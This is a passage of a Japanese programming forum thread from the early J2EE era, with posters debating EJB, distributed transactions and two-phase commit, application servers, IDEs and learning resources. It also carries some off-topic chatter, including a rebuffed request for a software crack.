複数のDBの一括トランザクションのこと
0533デフォルトの名無しさんNGNG
>>532
そういうことです。
0534デフォルトの名無しさんNGNG
>>複数のDBの一括トランザクションのこと
どうゆう風に?
まだ例見たことないんだけど

エンティイでもできるのかな?
0535デフォルトの名無しさんNGNG
2フェーズコミットをサポートしていて、ちゃんとしたJDBCドライバが
あって、かつオープンソースのRDBMSって、何かありますか?
0536デフォルトの名無しさんNGNG
NAI
MONO
NEDARI
0537デフォルトの名無しさんNGNG
Jakartaって以前に
"J2EE(EJBだったかな?) suck"
とかいうニュースが出てなかった?

Enterprice Object Broker とかもあるし
もしかしてJ2EEに反対してるのか?
0538デフォルトの名無しさんNGNG
Sunがオープンソース実装のJ2EE認証を拒んでいたからじゃないの?
その件はSunがASFにOKを出して解決したと思ったが。
0539デフォルトの名無しさんNGNG
>>534
JTAに対応したデータソースであればなんでもまとめてロールバックできますよ。
ただしネストしたトランザクションはサポートしませんが。

>>エンティイでもできるのかな?
できます。
0540デフォルトの名無しさんNGNG
>>535
ありません。
0541デフォルトの名無しさんNGNG
>>535
オープンソースDB、Firebirdってどうよ?
http://pc3.2ch.net/test/read.cgi/tech/1035278719/l50

漏れは使ったことが無いが、商用InterBaseが元になってるので
ツーフェーズコミットも出来るだろ? jdbcドライバもあるし。
0542デフォルトの名無しさんNGNG
>>541
で、そのJDBCドライバは2PCをサポートしているの?
0543デフォルトの名無しさんNGNG
分散トランザクションのやり方おしえて
あと例も
0544541NGNG
>>542
自分で調べてくれよぉ・・・・
http://firebird.sourceforge.net/index.php?op=files&id=jcajdbc

漏れは英語は得意では無いんだな。
0545デフォルトの名無しさんNGNG
EJBでもストアードプロシージャー 使って更新するということは
できるんですよね
0546デフォルトの名無しさんNGNG
>>545
SessionBeanの中からJDBCのCallableStatementインターフェースを使って
呼び出してください
0547デフォルトの名無しさんNGNG
Solaris8でSunONE AS7.0でEJBまともに稼動させてる方いますか?

なんかインストーラからして重要なjarをコピー漏らすし、WebLogic
で確認済のEJBをVerifierかけるとremote/homeインタフェースが無効
だとか、remoteにトランザクションが記述されてないとか言われます。
ejb-jar.xmlに原因があるのかなぁ....

たいがい泣き入れた後に冷静に見ると、「オレが悪かった!」という
オチなんだろう。
0548デフォルトの名無しさんNGNG
>>547
むしろWLSが親切すぎ。
0549デフォルトの名無しさんNGNG
>>547
ちょっとぐらい警告出ても気にしない。
多少いいかげんでも配備出来るさ。
0550デフォルトの名無しさんNGNG
>>542
してまそん。
0551デフォルトの名無しさんNGNG
>>543
EJBでやる場合は、メソッド内で次々にデータソース(JTA、XA対応のもの)を利用するだけでいける。
JTAでやる場合はアプリケーションサーバからUserTransactionをlookupして、begin()、commit()、rollback()
で制御する。
0552デフォルトの名無しさんNGNG
>>543
>>551は使い方。設定方法はコンテナ/DBによって違うよ。
0553デフォルトの名無しさんNGNG
>546
サンクス
0554542NGNG
>>550
知ってて聞きました (^^;

0555デフォルトの名無しさんNGNG
age
0556デフォルトの名無しさんNGNG
たんにEntityBeanのトランザクション境界ラップするため
のFacadeパターンってSessionBean起こすのめんどくさいんで、
ホームメソッドでよさげ...おおきな間違いでしょうか?
0557デフォルトの名無しさんNGNG
>>556
そしてさらに、リモートのクライアントから呼び出されたそのHomeメソッド内で、
Localタイプの同じEntityBeanにアクセスするともっと良いかも。
0558デフォルトの名無しさんNGNG
eclipse で Lomboz使うと結構楽。
でもEntityBeanはなあ...
それでも結構面倒くさい
0559デフォルトの名無しさんNGNG
J2EEのリファレンスサーバめんどくさすぎ
なんでHELLOWWORLD出すだけで
そんな複雑な設定しなければならないの
0560デフォルトの名無しさんNGNG
>>559
分散システムってのはそういうもんだよ。

イヤならスタンドアロンアプリ作ってなさいよ。
0561デフォルトの名無しさんNGNG
WEb logicはもっと簡単だろう
0562デフォルトの名無しさんNGNG
resinってEJBが使えるみたいなんですが
どなたかresin使ってる方いますか?
0563デフォルトの名無しさんNGNG
ORA-08177が憎い
0564デフォルトの名無しさんNGNG
>>563
http://www.simosimo.info/know/oracle/exctrl.pdf
0565デフォルトの名無しさんNGNG
実際CMP2.0で業務AP開発している方どうですか?
CMR使ったリレーションとかめんどくさそうなんですが・・・
0566デフォルトの名無しさんNGNG
JBuilder Ent版 の EJBデザイナを使えばカンタンさ。
http://www.borland.co.jp/jbuilder/jb6/tour/welcome_ejb.html
0567デフォルトの名無しさんNGNG
>>565
CMPなんか使ってしまうと、あとで後悔するだけ
0568デフォルトの名無しさんNGNG
>>567
例えばどんな?
0569デフォルトの名無しさんNGNG
>>568
おらくるのとらんざくしょん管理とか
0570デフォルトの名無しさんNGNG
トランザクションのアイソレーションレベル考え出すと夜も眠れません
ほんと、まコーダーレベルにあんまし意識させなくていいというの有難
いですが。
今やってるやつはパフォーマンスあんまし考えなくいい小規模社内システム
なんで結局、クリティカルな部分はStatefull SessionBeanで書いてサーブレット
コンテナに保持したインターフェースからアクセスする方法でブロックする
というヘタレな方法で逃げちゃいました。Singleton Statefull SessionBean(爆
ブロックコール出来るオプションのあるコンテナ依存っす。
0571デフォルトの名無しさんNGNG
>>小規模社内システム
EJB使うメリットあるんか
小1時間問い詰めたい
0572デフォルトの名無しさんNGNG
>>571
漏れはアプ鯖に何を使ってるのか知りたい。
アプ鯖高けぇぞ。
0573デフォルトの名無しさんNGNG
>>572
resin
0574デフォルトの名無しさんNGNG
>>571

EJBは大規模システムに使うというのがそもそも勘違い。
変更に強いシステムということでは、使う意味はある。

きちんと作ればね。
0575デフォルトの名無しさんNGNG
>>573
http://yamaguch.sytes.net/~tora/java/resin.html

> resin 2.0 に EJB クライアントのサポートを加えたものです。EJB コンテナの機能はありませんが

tomcat 見たいなもんか?
0576デフォルトの名無しさんNGNG
>>575
resin-eeの方使えばEJBサポートしてる。
http://www.caucho.com/download/index.xtp
0577デフォルトの名無しさんNGNG
小規模で分散トランか?
小一時間・・・・・(略)
0578デフォルトの名無しさんNGNG
>>577

EJBを一から勉強しなおしてこい。
小一時間問い詰める気にもならん。
0579デフォルトの名無しさんNGNG
>>572
ただのもあります。
SunONEAPServer7とか。JBossとか。

タダで使えるから、社内システムをコレで作ってEJBのお勉強するのは
ありだと思われ。
0580デフォルトの名無しさんNGNG
分散することで発生する通信のオーバーヘッドよりも負荷のほうが高い
ようなシステムじゃなければ、分散するイミナイですよね。
それにもかかわらず、なにかものすごいすばらしいことで、なんでもこれ
でやるとすばらしい結果になると言いふらす馬鹿があっちこっちにいる
のは何でですかね?

…ああ、あいつ等営業だった。
0581デフォルトの名無しさんNGNG
>>580

間違った知識を広めるなよ。
EJBを使うメリットが分散だけか?
しかも、EJB2.0から追加されたローカルインターフェースは
分散にもならない。
0582デフォルトの名無しさんNGNG
>>581
EJBのことを語っているわけではなく、"分散システム"のことですお。
0583580=582NGNG
EJBのメリットは、サーバ作る時の低レベル実装をEJB準拠のAPサーバ
に丸投げできて、実装と管理で楽ができるということだと思ってるお。
ちゃうか?
0584581NGNG
>>582

ここは、EJBスレだと思ったのだが。
そこで、EJBのことを語っているわけではないとはいかに。
0585デフォルトの名無しさんNGNG
君ら噛み合ってない
0586デフォルトの名無しさんNGNG
>>581
おちついて>>580の発言をよくみてみろ。
なんでもかんでも分散って言ってるやつらを小一時間以下略と言ってるだけだ。
0587570NGNG
小規模社内ってのはWebサイトみたく何千セッションも考えなくて
よいという意味でね、それなりにもらっててメジャーなAPサーバー
とOracle使える受託の業務システムね。
超レガシーなソケット通信その他があったりで、そのあたりとEJB
との同期とかトランザクションとのかかわりがキモだったわけ。
世の中petStoreみたく美しくないんですよね(爆、
でもEJBのほうが楽だと思うぞ〜つーか、CMPなんかは小規模だから
こそ積極的使うべきだ思いますが。
0588デフォルトの名無しさんNGNG
>>でもEJBのほうが楽だと思うぞ〜つーか、CMPなんかは小規模だから
>>こそ積極的使うべきだ思いますが。
うーんそうかな?
http://www.c-sq.com/corp/info.html
でこいつらどう思う?
>>Bは大規模システムに使うというのがそもそも勘違い。
>>に強いシステムということでは、使う意味はある。
オブジェクト指向で成功している会社てほとんど聞かないのですが




なんか理想を語っているみたいなお人ですが?

0589デフォルトの名無しさんNGNG
パイロット版情報検索システム公開
これが分散システムだそうです(w
http://whoisx-pilot.hitachi-sk.co.jp/WhoisXWeb/


0590デフォルトの名無しさんNGNG
半分スレ違いかもしれませんが、教えてください。
過去レスでWebObjectsをEJB/JSP/Servletコンテナ(J2EEコンテナ)としても使える、
というカキコがありましたが、TomcatやWebLogicで使っていたWAR形式の
アプリケーションを、ProjectBuilderなどWOの開発環境を全く(できるだけ)使わないで、
そのままWO上にdeployする手順について、詳しい手順が載っているサイトは
ないでしょうか?
0591デフォルトの名無しさんNGNG
>>589
確か、Webサービスとしてのインタフェースを持ってたよな…
と思ったらこんなプレスリリースがあった。
http://www.hitachi-sk.co.jp/News/News153.html
0592デフォルトの名無しさんNGNG
589>>
なぜにこんなシステムに分散システムを(w
0593デフォルトの名無しさんNGNG
>>588
>>でこいつらどう思う?
ほとんどは.Netとのクラスタリングでフェールオーバー対応と
いったところか
0594デフォルトの名無しさんNGNG
IDEのベストはどれ?
だめだめといわれるIDE。
Jbuilder6はかるいだけど
メモリ128Mでうごくし
Eclipseは256Mは必要だけどかるい。
Jdeveloperも機能が豊富。
使いやすくて安定しているのはどれ
意見を求む

0595デフォルトの名無しさんNGNG
>>594
スレ違い

EJBのスレということをふまえてレスすると、JBuilderはEJBに一番対応しやすいのじゃないかと思う。
高いけど。
Sun ONE Studioもお金出せばEJBの開発ができると思う。
Eclipseは、まだ楽々EJBが使えるわけではないような気がしないでもない。

まぁ、EJBやるのに、IDEがないと作業が多くてやってられない罠。
0596デフォルトの名無しさんNGNG
どれも動作が不安定な気がするのだが
0597デフォルトの名無しさんNGNG
IDEA もあるよ。
0598デフォルトの名無しさんNGNG
>>596
別に、開発作業自体が安定して反復作業がおおくなれば、言うほど不安定じゃないよ。
「安定」の基準をどこに置くかという問題はあるが。
少なくとも、1日1回ダウンしてソースがあぼーん、ということはない。
使いやすさも、導入のしやすさか、導入した後の効率か、というのがあるよね。
結局使い込めば何でも使いやすいといえるわけだし。emacsなんかがいい例。
0599デフォルトの名無しさんNGNG
Jbuilder enterprise8のクラック
ない?
おれ6は持ってるんだけど
0600デフォルトの名無しさんNGNG
>>599
イッテヨシ
0601デフォルトの名無しさんNGNG
高すぎてかえないんだ
0602デフォルトの名無しさんNGNG
>>601
理想が?
0603デフォルトの名無しさんNGNG
(理想が)高すぎて(つ)かえないんだ
0604デフォルトの名無しさんNGNG
>>595
xdoclet使ってみ。
0605595NGNG
>>604
どの文に対するレスでつか?
0606デフォルトの名無しさんNGNG
J2EE勉強するためにお勧めの書籍はありますか?
0607デフォルトの名無しさんNGNG
>>606
「はじめてのJSP&サーブレット」とかから始めれば?
0608デフォルトの名無しさんNGNG
複数のリソースをトランザクションてのがわからん
そんなに楽なのか?
具体例のコードをみせてみて
0609デフォルトの名無しさんNGNG
>>607
いや、JSP/Servletはとっくにやってるんですけど。
EJBを使ってみたいのです。
0610デフォルトの名無しさんNGNG
>>609
オラ煎りのEJB本はいいよ。CMP2.0の解説とかも詳しいし。
0611デフォルトの名無しさんNGNG
>>606
じゃあEJBの本探した方がよくねぇ?
J2EEって何かわかってる?
0612デフォルトの名無しさんNGNG
>>611
EJBといった方がよかったですか。
JSP/Servlet/JDBCはJ2SE + Tomcatだけでやってたんですよ。
0613611NGNG
>>612
JSP/ServletはJ2EEだよ。
0614デフォルトの名無しさんNGNG
>>612
EJBコンテナないじゃん。
SunのJ2EE SDKにはEJBコンテナの参照実装があるから、それつかえ。
JBossでもいいが。
0615デフォルトの名無しさんNGNG
EJBのセキュリティチェックで使われるユーザとかロールの情報って
EJBコンテナ固有のデプロイメントツールでいちいち登録するもの
なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く
別物ですよね?

Web層はレルムの情報で認証して、OKならそのユーザ名でEJBのセキュリティを
チェックして、メソッドの実行可否を決める、みたいなことってできないんですか?

それともWeb層の認証とEJB層の認証はどちらか片方だけやるのが一般的?




0616山崎渉NGNG
(^^)
0617デフォルトの名無しさんNGNG
JBossしょぼい
0618デフォルトの名無しさんNGNG
最近、EnhydraのEJBコンテナーってどうなったの?
0619デフォルトの名無しさんNGNG
Tomcat プロジェクトは EJB コンテナの開発には行かないのか。
資金源の企業様との暗黙の了解なのか。
0620デフォルトの名無しさんNGNG
なんでだろうね。
単に、EJB及び周辺サービスを、フルスクラッチで書いて実用レベルまで持ってくだけの、
資源もニーズもないからじゃないかなー。


どっかの企業がソースコード一式寄付したら話は別だけど、
トランザクション・サービスのオープンソース化ってあんまり聞かないし
0621デフォルトの名無しさんNGNG
Sunが、すでに自社製EJBサバをライセンス料ナシで配布してるからなあ。
MQもただで配ってんだもんなあ。
0622デフォルトの名無しさんNGNG
>>615
超遅レス。

> EJBのセキュリティチェックで使われるユーザとかロールの情報って
> EJBコンテナ固有のデプロイメントツールでいちいち登録するもの
> なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く
> 別物ですよね?

Web認証もJ2EE認証なのでWeb層で認証が成功すればEJBでも同じロール名でセキュリティが適用されます。

0623615NGNG
>>622

おーthanx!です。試してみます。
0624デフォルトの名無しさんNGNG
>>Tomcat プロジェクトは EJB コンテナの開発には行かないのか。
>>資金源の企業様との暗黙の了解なのか。
Jbossを寄付すればいい
0625デフォルトの名無しさんNGNG
>>618
VOBS EnhydraってのがNECか何処かから出てたね。
でもマイナー過ぎて誰も知らないね。
0626デフォルトの名無しさんNGNG
これかな

http://www.necsoft.com/soft/outline/pp02006.html

ちょっとまえにうちでもこれ使おうかという話になったんだけど、NESが
どのくらいサポートしてくれるんだろうか?て話しになって立ち消え。

どうなんだろう?結局NESのサポート次第なんだろうが。
0627れみNGNG
COBOLから急にjAVAをやるはめになってしまったのですが。
デプロイについていろいろ調べたのですが。結局なんなのかわからないです。
デプロイって詳しく言うとなにをやっているのですか?
0628ふぁそNGNG
>>627
アプリサーバ上の所定の位置へクラスファイル、設定ファイルその他アプリの動作に必要なファイルを配置すること。
設定ファイルに設定を記述する、という作業も含めてデプロイと呼ばれることもある。
0629れみNGNG
早いお返事ありがとうございます
設定ファイルというのは、Tomcatでいうとweb.xmlのことなのでしょうか?
0630ふぁそNGNG
>>629
だいたいそんなとこ。
Webアプリケーションではweb.xmlだったり
EJBではejb-jar.xmlだったり
J2EEアプリケーションではapplocation.xmlだったり。
0631れみNGNG
ありがとうございました
0632デフォルトの名無しさんNGNG
>>COBOLから急にjAVAをやるはめになってしまったのですが。
それはご苦労さん。サーバサイドは覚えることがたくさん
いやになるね。ベンダーごとにツール・APPサーバは違うし
複雑なEJBまあがんばってさい
0633デフォルトの名無しさんNGNG
EJBは限りないオーバースペック。
流行に乗ってアプリケーションサーバー買ってみたけどJSPだけしか使わないという罠。
0634デフォルトの名無しさんNGNG
TOMCATで十分(w
0635デフォルトの名無しさんNGNG
中古 ThinkPad + Linux + Apache + Tomcat + PostgreSQL で十分
0636615NGNG
>>623
> >>622
> おーthanx!です。試してみます。
0637615NGNG
↑操作ミスしてゴミを作ってしまいました。すみません。

>>623
> >>622
> おーthanx!です。試してみます。

最新のJBoss(Tomcatインテグレート版)で、EARを作って試したら
うまく行きました(Webで認証されたロールがEJBに適用された)。

はじめてJBoss使ってみましたが、結構いいかも。
0638bloomNGNG
http://homepage.mac.com/ayaya16/
0639デフォルトの名無しさんNGNG
Java歴4年
Tomcat、Apache、PostgreSQLをLinuxにインストールし
JDBCを使ってPostgresにinsertやselectしたことがある。
strutsやcocoon,横浜ベイキットも試したことがある。
普段はantで開発し最近Eclipseを使い始めた。

そんな漏れにお勧めのEJB本はありますか?
0640デフォルトの名無しさんNGNG
>>639
オライリー
EnterpriseJavaBeans
0641デフォルトの名無しさんNGNG
>>639
Java暦半年といっても過言ではないなあ。
EJBコンテナのマニュアルでも読むといいよ。
WebLogicかJRunあたりならWebで読める。
0642デフォルトの名無しさんNGNG
大規模開発以外で、EJB使うメリットってあるの?トランザクション管理って何?
0643デフォルトの名無しさんNGNG
純EJBを学ぶにはどのAP鯖で試したらいいですか?
ベンダの独自実装が入り込んでない素の仕様を学びたいのですが。
0644ふぁそNGNG
>>643
Sun謹製のJ2EE RI
0645デフォルトの名無しさんNGNG
>>644
なんじゃそれ。リンク晒せ
0646ふぁそNGNG
>>645
ほんとにおまんしらんのか
http://java.sun.com/j2ee/download.html
0647デフォルトの名無しさんNGNG
>>642

>大規模開発以外で、EJB使うメリットってあるの?
それがまったくないのだよ。わはは、工数かかるだけ。
あっ工数稼ぎたいときは便利かな?

>トランザクション管理って何?
ぐぐれ
0648デフォルトの名無しさんNGNG
EJBのメリットを理解するためにはDBの分散配置や2フェーズコミットなど
の知識が必要だが、適切な解説書などが見当たらない。みなピントがボケて
いる。
だれかEJBのメリットについて説得力のある説明できる人いるか?
0649デフォルトの名無しさんNGNG
>>648
すまんが2フェーズコミットについて教えてはくれまいか。
0650デフォルトの名無しさんNGNG
>>648
http://www.dmz.hitachi-sk.co.jp/Java/Tech/api/ejb/true-ejb.html
0651デフォルトの名無しさんNGNG
>>642
似たような、でもよりマヌケで糞な俺様仕様のホスト間通信ライブラリ
の類を作って悦にいっている「会社の金でオナニー」連中を纏めて駆逐
出来る。

J2EE自体は仕様がオープン。またユーザは世界中にいるので、EJBが使え
る人間やEJBで作成したシステムを保守できる人間を集めるのは、俺様わ
けわかライブラリを使える人間やそれで作られたシステムを保守できる
人間を集めるより、はるかに容易で低コスト。

俺様わけわかライブラリは、おそらく作者のイル会社しか保守できない。
そうなると、保守/変更作業は、その会社の殿様商売。オソロシヤ。
バージョンアップのたびに追加料金取ったりといった、どこぞのOSベンダ
のような阿漕なマネもし放題。

作る時だけのことを考えるなら、EJBは面倒くさいだけに感じるかもな。
0652デフォルトの名無しさんNGNG
>>649
たとえば、東京に商品データベースがあり、大阪に在庫データーベース
がある、このように資源を分散させて配置したデータベースに対し
双方更新をかけ、コミットすることを2フェーズコミットと言うようです。
以前はこの処理をミドルウェアを使い実現していたが、EJBはこのトランザクション
の整合性をプログラムで意識せずに実装できる・・・
EJBのメリットとしてこのような事をよく効くが、本当かな?
まずデータベースの分散配置(負荷分散ではない)のメリットがよく
わからない。


0653デフォルトの名無しさんNGNG
>>649
一つのトランザクションで、2つ以上のDBを更新するときに、
全ての更新処理を纏めてトランザクショナルに扱う為の方法。

こういうときは気をつけないと、片方だけ更新して片方は更新
していないというような、ACIDに違反した状態になってしまう
わけで。

具体的な処理の流れは、ぐぐったほうがはやいかも。
0654デフォルトの名無しさんNGNG
>>652
データベースの分散配置にメリットなんかないさ。
単に、今あるシステムで使っているデータベースが、たまたまそう
なっている時に、その上で新しいシステムを作るバヤイはどうする
かとか、そういう後ろ向きの話しだと思われ。既存システムに対する
派生開発ですね。
0655デフォルトの名無しさんNGNG
分散オブジェクト技術スレで、DB分散にメリットなど無いという意見が出るとは。
斬新だ。
0656デフォルトの名無しさんNGNG
>>655
DB分散んのメリットについてかたってくれ。
これが理解できないとEJBの真のメリットは理解できないと思う。
0657654NGNG
>>655
負荷分散、あるいは障害時バックアップの為の分散には意味があるとおもうが、
データのリポジトリの実体が複数あるなんて、どこに意味があるのさ。
0658デフォルトの名無しさんNGNG
>>657
そうだ!そうだ!
0659デフォルトの名無しさんNGNG
たとえば、システムにおいて部門が複数に分かれる場合。
一例だが、顧客、職員、経理、評価、会計、各部門といった具合に。
全てのデータを同一ノードで管理するのか?
部門ごとにサーバを立て、各サーバで管理するデータは切り離す。
もちろん、データを切り離す事が先ではなく、部門の切り分け、
ユースケースの抽出、そしてオブジェクトの配置と同時進行。
データを分散する事がまずあるのではなく、モデリングを進めていけば、
各部門で保持すべきインスタンスは自然と精査されていく。
分散ありきではなく、分散するしかなくなる。
0660654NGNG
>>659
一つのDBインスタンスの内部でノード分けたっていいじゃん。

DBインスタンスそのものを分割しなきゃいけない理由ジャナイヨ、それ。
0661デフォルトの名無しさんNGNG
EJB に関わるのは人生の無駄
後数年もすればバカでも後悔する
何でも正当化するな(#゚Д゚)ゴルァ!!
0662デフォルトの名無しさんNGNG
現在のUNIXのスペックでも部門ごとにサーバを立てる必要があるのか?
0663654NGNG
分散好きって、なんでも分散したがるんだけど、なんで?
EJBがローカルインターフェイスを採用した理由考えたことあるか?
無駄な分散=システム稼動時のオーバーヘッド。
抽象的に分けたものに対して、物理的な対応を必ず一対一に取る
なんて、バカじゃないの。
0664デフォルトの名無しさんNGNG
>>651
漏れのところも同じ状況。俺様わけわかでホスト間通信ライブラリを
作った香具師が、今ではその根本のミドルウェアを作ってるかのように話が大きくなってる。
もう神扱い。
0665デフォルトの名無しさんNGNG
>>660
ここでインスタンスといったのはDBに限らない。
それから、まず、部門ごとの独立性を確保するには、
各部門(サーバ)を同一インスタンスで管理するわけにはいかない。
サーバは物理的にどこにおかれるかは分からないし、
物理的な位置を意識しないといけない設計にするわけにもいかない。
0666デフォルトの名無しさんNGNG
俺もSunの資格とかとってjavaはかなり勉強したけど、やっぱりEJBのメリット
は理解できなかった。
もうやめるよ。

>後数年もすればバカでも後悔する
後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。
勉強するだけ無駄。
0667654NGNG
>>665
だからなんでサーバマシン分ける必要があるんだよ。
0668デフォルトの名無しさんNGNG
何でもDBに持たせたがるアホもいるわけだが。
技術的なことがわからないSEが設計すると、
保証されていることさえもDBにぶち込む。あげくパフォーマンスがどうとか。
バカ抜かせと小一時間。
0669651NGNG
>>664
俺と同じところで働いているかモナー。

でも、世の中のいたるところで、こういう「開発資源の浪費」が
行われているというのが真実かもな。全くばかばかしいことで。

神扱いの奴本人以外の全ての人間にとっての、厄介の種だよな。
0670デフォルトの名無しさんNGNG
>>669
そもそも漏れにはホストの存在意義すらわからなくなってきた。
0671デフォルトの名無しさんNGNG
>>666

>後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。

そんなこと言っているようじゃ、たいしたプログラマーになれないぞ。
Javaをかなりやっている様に言っているが、机で勉強しただけじゃメリット
なんか分からないだろ。
0672デフォルトの名無しさんNGNG
発言したらいいってもんじゃねーぞゴルァ!!
この汎用異臭騒ぎオヤジめが。
0673デフォルトの名無しさんNGNG
>>671
すいません。666は既にjavaのSEです。
ちなみにEJBでシステムは何度も作ったことがあります。
ただ「メリット」について理解できないと言っているの。
0674671NGNG
>>673

EJBのどこがだめなんだ?
おれは有効に使っているけど。
0675デフォルトの名無しさんNGNG
>>673
製作者がメリットを感じることって少ないと思うぞ。
不便だと感じるだろうと思われ。

その不便さと、公知のほぼ標準化された仕組みを利用している
ことによる保守、改変作業の容易さのトレードオフかと。
0676デフォルトの名無しさんNGNG
>>673
何度も作ったはいいが、過去に構築したシステムの現状は把握してんの?
最初から最後まで見ないことには真のメリットやデメリットは見えないよ。
作り投げは簡単だからね。
0677デフォルトの名無しさんNGNG
>>674
おれも、あなたも問題ないさ。
ただ周りの反応はどうだ。嫌がられてないか?
おれはこれからSEとしてEJBをつかわないで
(JDBC経由)でシステムを作ることを提案するよ
0678デフォルトの名無しさんNGNG
>>677
JDBC経由が淘汰されゆく運命にあることを、どこかの記事で見たのだが。
0679デフォルトの名無しさんNGNG
ん?それはCMP使わないって言ってるだけでは。
0680デフォルトの名無しさんNGNG
>>677

別に嫌がってないよ。
俺はこれからもEJBでシステムを提案していくよ。

EJBデザインパターンでも読んでから、もう一度考え直した方が
良いと思うが。
0681デフォルトの名無しさんNGNG
なんだかんだでEJBスレ人気あるじゃん。あげられてるし。
0682デフォルトの名無しさんNGNG
>>675
>>その不便さと、公知のほぼ標準化された仕組みを利用している
>>ことによる保守、改変作業の容易さのトレードオフかと。
これは大嘘!!
現状のjava開発の現場では、このスレで意見を交わせるほど、java
の技術者があつまるか?
0683デフォルトの名無しさんNGNG
>>682
居るところには居る。
で、議論大好きなのね、みんな。
それでいて誰も「これでいく!」と断言しないってな感じで(w
0684デフォルトの名無しさんNGNG
今の職場ではEJBなんて話の話題にもならない。
周りは昔ながらの開発プロセスを信じてる香具師のみ。
JavaのシステムのはずだけどやってることはCと変わりない。
OOも話題にならない。
3年以上前のシステムで、MVCなんだけどその思想も崩れつつあります。
誰かJava技術者を集めてください。
0685デフォルトの名無しさんNGNG
じゅあみんな恵まれた環境で仕事してるんですね。
0686デフォルトの名無しさんNGNG
分散オブジェクト系はCORBAもEJBも経験したが、やはりEJBの方が工数的に余裕が出る印象。
CORBAだと、>>684の悩みがあっというまに吹き出す可能性が高い。
>MVCなんだけどその思想も崩れつつあります。
で、自前のFWを準備することになるが、EJB程の完成度は望めない。
0687デフォルトの名無しさんNGNG
>>682
数年後を考えてみませう。

因みに5年前、Javaはおもちゃ同然の糞と、多くの
セクト主義はびこる日本人技術者に蔑まれていました。
0688デフォルトの名無しさんNGNG
>>674さん
あなたはプログラムが趣味でしょ。
ビジネス的な思考でシステム開発している人はEJBを
>>おれは有効に使っているけど。
なんて発言でないと思うけど。
0689デフォルトの名無しさんNGNG
>>684
メンテやってるのですか?メンテ要員ってデキナイ君の配置+神1人(障害時のみ)
配置されることが多いから思想なんてぐちゃぐちゃに掻き回される。
私が過去に携わったシステムで、4年後に再度見ることになったのだが・・・・
実装レベルで見直すと酷い物でした。
0690デフォルトの名無しさんNGNG
>>688

書いた後に何か言われそうだとは思ったけど、なんでそう思うのかを
説明してくれないかな。

ちなみに仕事以外でプログラムはしません。
0691デフォルトの名無しさんNGNG
でも、確かにjavaはできるけど、OO的なモデリングやプログラミングはダメって
香具師は多いと思う。
モジュールレベルでいい感じに作られてたのに、一人のプログラマのせいで
それがぐっちゃんこにされてしまう事もあるし。
人選びは重要だけど、自社の人員資源ではもう無理!って感じる人は多いと思う。
0692デフォルトの名無しさんNGNG
>>690
EJBで開発するのと単にJDBC経由で開発するので
技術者のスキルも、かかる工数も大幅に変わってくる。
開発での採算が合わなくなる。
EJBもJDBCもユーザーからすればどうでもいい話。
ならば、やすくシステム作るように提案したほうが
現場から喜ばれるでしょ。
0693デフォルトの名無しさんNGNG
>>691
似たような経験あるな。
確かにJAVAだが、そりゃねぇだろおいみたいな。
0694デフォルトの名無しさんNGNG
>>683
 >>居るところには居る。
ならばあなたの意見
 >>その不便さと、公知のほぼ標準化された仕組みを利用している
 >>ことによる保守、改変作業の容易さのトレードオフかと。
はやっぱり大嘘!!
0695デフォルトの名無しさんNGNG
>>692

確かにユーザからしたらどっちでもいい話ではあるが、工数が大幅に変わる
というのはEJBを使うと工数が大幅に増えると言っているの?
そんなこと全然ないよ。

今やっているプロジェクトはjava初心者もいるけど、EJBでやっているよ。
ステートレスセッションBeanでEJB Commandパターン使っているから、EJB
を使っているということを意識していないと思うけど。

rollback、commit書かなくて済むから現場も喜んでいるよ。
0696デフォルトの名無しさんNGNG
オイオイ、EJB開発って、開発者にとって難しいか???
0697デフォルトの名無しさんNGNG
どうも、EJBは面倒くさいことを簡単にしてくれているという
ごく基本的なことをわかっていない人がいるようで。

生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる
より100倍楽。
0698デフォルトの名無しさんNGNG
>>694
>>683だが、>>675にあらず。
0699デフォルトの名無しさんNGNG
>>695
既にEJB開発のためのフレームワークを開発したのですね。

0700デフォルトの名無しさんNGNG
EJBはコーダーにとっては退屈ではないかな。
設計者には面白いかもしれんが。
0701デフォルトの名無しさんNGNG
>>692
エンドユーザーが技術についてどうでもいいことくらいは、言わなくても誰もが認知済みでしょう。
少なくとも情シス部門は保守まで考えた視点で、どの技術を用いるかの決断はする。
やすく提案して、エンドユーザーに喜ばれた事例ってあるんですか?
部長クラスには喜ばれるだろうが、エンドユーザーはUI以外で喜びませんよ。
0702デフォルトの名無しさんNGNG
FFX2でコンプリート95%越えても
だれも兄貴との性交イベント発生しないのだが?
これって不良品?
コンプしたら発生する?
0703デフォルトの名無しさんNGNG
まあ、たまにシステムにやったら詳しくて、モデリングそのものにガンガン
口出してくるエンドユーザーもいるけど。
0704デフォルトの名無しさんNGNG
そもそも普通のシステム開発(95%)で
>>生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる
こんな需要ないね。

需要がないのに
>>どうも、EJBは面倒くさいことを簡単にしてくれているという
>>ごく基本的なことをわかっていない人がいるようで。
この意味は理解できない。
0705デフォルトの名無しさんNGNG
>>699

開発と言えるほどのことじゃなくて、EJBデザインパターンという本を
丸写ししただけのものです。
0706デフォルトの名無しさんNGNG
>>704
あるよ。少なくともCORBAは。
「普通の」ってどういう基準で言ってるのかわからんけど、
分散オブジェクトの技術としてはEJBもCORBAも同じ。
CORBAでもAPサーバを利用すれば随分プログラミングが楽になる。
もちろん、APサーバ依存になってしまうが。
0707デフォルトの名無しさんNGNG
高レベル言語で抽象化を突き詰めた結果、いろんな実装技術があるわけでしょ?
上記文章で、何を言いたいのかは俺自信わからないわけだが。
0708デフォルトの名無しさんNGNG
>>701
エンドユーザーに喜ばれたとは書いてないですよ。
開発会社が利益が出て喜ぶでしょ。
0709デフォルトの名無しさんNGNG
>>704
おいおい、プロセス間通信を必要としない仕組みは、そもそもEJBの
適用範囲外だが。
0710デフォルトの名無しさんNGNG
>>706
その依存ってやつがどうしても嫌でしょうがない。
根本の仕様を押えておけば苦にならないだろうけど、
初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
0711デフォルトの名無しさんNGNG
あんたら、そろそろ寝ないとエンドユーザーどころか同僚からも喜ばれないよ。
0712デフォルトの名無しさんNGNG
>>706
分散オブジェクトでなければ開発できないシステムの規模や条件について
具体的に説明してくれれば理解できるのですが。
0713デフォルトの名無しさんNGNG
>>710
>初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
それは、EJBやCORBAに限らずだね。
0714デフォルトの名無しさんNGNG
>>710
